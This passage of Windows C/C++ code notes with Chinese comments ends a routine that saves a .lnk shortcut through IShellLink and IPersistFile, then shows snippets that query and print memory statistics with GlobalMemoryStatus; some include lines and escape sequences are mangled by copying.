wsz, MAX_PATH) ;
//调用IPersistFile::Save
//保存快捷方式的数据文件 (*.lnk)
hres = ppf -> Save( wsz, STGM_READWRITE) ;
//释放IPersistFile和IShellLink接口
ppf -> Release( ) ;
psl -> Release( ) ;
return TRUE;
}
剩余内存
MEMORYSTATUS MemStat;
MemStat.dwLength = sizeof(MEMORYSTATUS);
GlobalMemoryStatus(&MemStat);
//strFreeMemory.Format(strFrm, MemStat.dwAvailPhys /1024L);
m_Edt_Memory = MemStat.dwAvailPhys / 1024L;
UpdateData(FALSE);
获取内存的信息:
#i nclude "stdafx.h"
#i nclude
#i nclude "stdio.h"
// Use to change the divisor from Kb to Mb.
#define DIV 1024
// #define DIV 1
char *divisor = "K";
#define WIDTH 7
void main(int argc, char *argv[])
{
MEMORYSTATUS stat;
GlobalMemoryStatus (&stat);
printf ("The MemoryStatus structure is %ld bytes long./n",
stat.dwLength);
printf ("It should be %d./n", sizeof (stat));
printf ("%ld percent of memory is in use./n",
stat.dwMemoryLoad);
printf ("There are %*ld total %sbytes of physical memory./n",
WIDTH, stat.dwTotalPhys/DIV, divisor);
printf ("There are %*ld free %sbytes of physical memory./n",
WIDTH, stat.dwAvailPhys/DIV, divisor);
printf ("There are %*ld total %sbytes of paging file./n",
WIDTH, stat.dwTotalPageFile/DIV, divisor);
printf ("There are %*ld free %sbytes of paging file./n",
WIDTH, stat.dwAvailPageFile/DIV, divisor);
printf ("There are %*lx total %sbytes of virtual memory./n",
WIDTH, stat.dwTotalVirtual/DIV, divisor);
printf ("There are %*lx free %sbytes of virtual memory./n",
WIDTH, stat.dwAvailVirtual/DIV, divisor);
}